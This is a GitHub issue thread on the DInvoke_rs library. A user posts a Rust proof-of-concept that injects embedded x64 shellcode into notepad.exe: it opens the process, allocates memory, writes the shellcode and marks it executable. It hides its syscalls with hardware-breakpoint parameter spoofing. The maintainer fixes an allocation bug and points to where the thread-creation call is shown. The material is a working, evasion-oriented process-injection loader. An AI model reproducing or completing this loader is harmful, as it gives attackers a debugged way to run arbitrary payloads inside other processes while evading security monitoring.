Kudaes/DInvoke_rs

NTSTATUS c0000018 (STATUS_CONFLICTING_ADDRESSES) on memory allocation

0xShkk opened this issue · 3 comments

0xShkk commented

Hi Kudaes,

thank you for this amazing project. I played around with HW breakpoints and tried to create a simple poc with the APIs you have already implemented. This is my code:

use std::{ffi::c_void, ptr};

use data::{THREAD_ALL_ACCESS, PVOID, PAGE_EXECUTE_READWRITE, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ, PS_ATTRIBUTE_LIST};
use bindings::Windows::Win32::Foundation::HANDLE;

static X64: [u8; 106] = [0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3];


fn main() {

    let process_id = get_process_id_by_name("notepad.exe");


    unsafe {

        //open handle
//----------------------------------------------------------------------------------------------
        // We active the use of hardware breakpoints to spoof syscall parameters
        dinvoke::use_hardware_breakpoints(true);
        // We get the memory address of our function and set it as the 
        // top-level exception handler.
        let handler = dinvoke::breakpoint_handler as usize;
        dinvoke::set_unhandled_exception_filter(handler);

        let h = HANDLE {0: -1};
        let handle: *mut HANDLE = std::mem::transmute(&h);
        //let mut handle_ptr: *mut HANDLE = Box::into_raw(Box::new(h));
        let access = THREAD_ALL_ACCESS; 
        let attributes: *mut bindings::Windows::Win32::System::WindowsProgramming::OBJECT_ATTRIBUTES = std::mem::transmute(&bindings::Windows::Win32::System::WindowsProgramming::OBJECT_ATTRIBUTES::default());
        // We set the PID of the remote process 
        let remote_pid = process_id as isize;
        let c: data::CLIENT_ID = data::CLIENT_ID {unique_process: bindings::Windows::Win32::Foundation::HANDLE {0: remote_pid}, unique_thread: bindings::Windows::Win32::Foundation::HANDLE::default()};
        let client_id: *mut data::CLIENT_ID = std::mem::transmute(&c);
        // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
        // automatically spoofed by the function and restored to the original values
        // before executing the syscall.
        let ret1 = dinvoke::nt_open_process(handle, access, attributes, client_id);


        if ret1 != 0 {
            panic!("NTSTATUS openprocess hwb: {:x}", ret1);
        }
        println!("NTSTATUS openprocess hwb: {:x}\n", ret1);





        //alloc
//----------------------------------------------------------------------------------------------
        let base_address: *mut PVOID = std::mem::transmute(&usize::default());
        let nsize: usize = X64.len() as usize;
        let size: *mut usize = std::mem::transmute(&(nsize));

        let ret2 = dinvoke::nt_allocate_virtual_memory(*(handle), base_address, 0, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        
        if ret2 != 0 {
            panic!("NTSTATUS alloc hwb: {:x}", ret2);
        }
        println!("NTSTATUS alloc hwb: {:x}\nAt Address: 0x{:x}\n", ret2, *(base_address) as usize);


        //write
//----------------------------------------------------------------------------------------------
        let buffer: *mut c_void = std::mem::transmute(X64.as_ptr());
        let bytes_written: *mut usize = std::mem::transmute(&usize::default());
        let ret3 = dinvoke::nt_write_virtual_memory(*(handle), *base_address, buffer, nsize, bytes_written);

        if ret3 != 0 {
            panic!("NTSTATUS write hwb: {:x}", ret3);
        }
        println!("NTSTATUS write hwb: {:x}\nSupplied size: {}\nBytes written: {}\n", ret3, nsize, *bytes_written);




        //protek
//----------------------------------------------------------------------------------------------
        let old_protection: *mut u32 = std::mem::transmute(&u32::default());
        let ret4 = dinvoke::nt_protect_virtual_memory(*handle, base_address, size, PAGE_EXECUTE_READ, old_protection);

        if ret4 != 0 {
            panic!("NTSTATUS write hwb: {:x}", ret4);
        }
        println!("NTSTATUS protek hwb: {:x}\nBytes reprotek: {}\nOld protek: 0x{:x}", ret4, *size, *old_protection);




        //resume thread / exec
//----------------------------------------------------------------------------------------------
        let thread_h = HANDLE {0: -1};
        let thread_handle: *mut HANDLE = std::mem::transmute(&thread_h);
        let lpStartAddress: PVOID = std::mem::transmute(base_address);
        let lpParameter: PVOID = ptr::null_mut();
        let mut attribut_list: PS_ATTRIBUTE_LIST = PS_ATTRIBUTE_LIST { size: 0, unk1: 0, unk2: 0, unk3: ptr::null_mut(), unk4: 0, unk5: 0, unk6: 0, unk7: ptr::null_mut(), unk8: 0 };
        let attribut_list_ptr: *mut PS_ATTRIBUTE_LIST = std::mem::transmute(&attribut_list);


        
        /*let ret5 = dinvoke::nt_create_thread_ex(thread_handle, THREAD_ALL_ACCESS, attributes, *handle, lpStartAddress, lpParameter, 4, 0, 0, 0, attribut_list_ptr);

        if ret5 != 0 {
            panic!("NTSTATUS write hwb: {:x}", ret5);
        }
        println!("NTSTATUS resume hwb: {:x}", ret5);*/




        //close handle
//----------------------------------------------------------------------------------------------
        if !dinvoke::close_handle(*handle) {
            println!("Success");
        };

    }


}

However, when I compile it, it works exactely once. On the second run, I get the error c0000018 (STATUS_CONFLICTING_ADDRESSES) from nt_allocate_virtual_memory. Please see an exemplary output below:

C:\Users\...\target\release>dinvoketest.exe

NTSTATUS openprocess hwb: 0

NTSTATUS alloc hwb: 0
At Address: 0x7ff625640000

NTSTATUS write hwb: 0
Supplied size: 28672
Bytes written: 28672

NTSTATUS protek hwb: 0
Bytes reprotek: 28672
Old protek: 0x4


C:\Users\...\target\release>dinvoketest.exe
NTSTATUS openprocess hwb: 0

thread 'main' panicked at 'NTSTATUS alloc hwb: c0000018', src\main.rs:79:13
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

When I call dinvoke::nt_open_process and then dinvoke::nt_allocate_virtual_memory one by one without any other code the execution also works multiple times. As soon as I add more code, the c0000018 catches me again. What am I doing wrong here?

Also, could you please provide an example of calling dinvoke::nt_create_thread_ex?
It would be very much appreciated

Kudaes commented

Hi @0xShkk,

It seems like you are trying to alloc twice over the same memory region.
Try to define base address in two steps, like this:

let ba = usize::default();
let base_address: *mut PVOID = std::mem::transmute(&ba);

Give it a try and let me know if this solves the issue ;)

On the other hand, you have an example of how to call nt_create_thread_ex on my Split project -> https://github.com/Kudaes/Split. Im not using hardware breakpoints there, but the call to the funcion it's the same.

0xShkk commented

This solved it. Thank you very much

Kudaes commented

Glad to hear that.

You can find that and other Rust tricks for Windows in here: https://github.com/Kudaes/rust_tips_and_tricks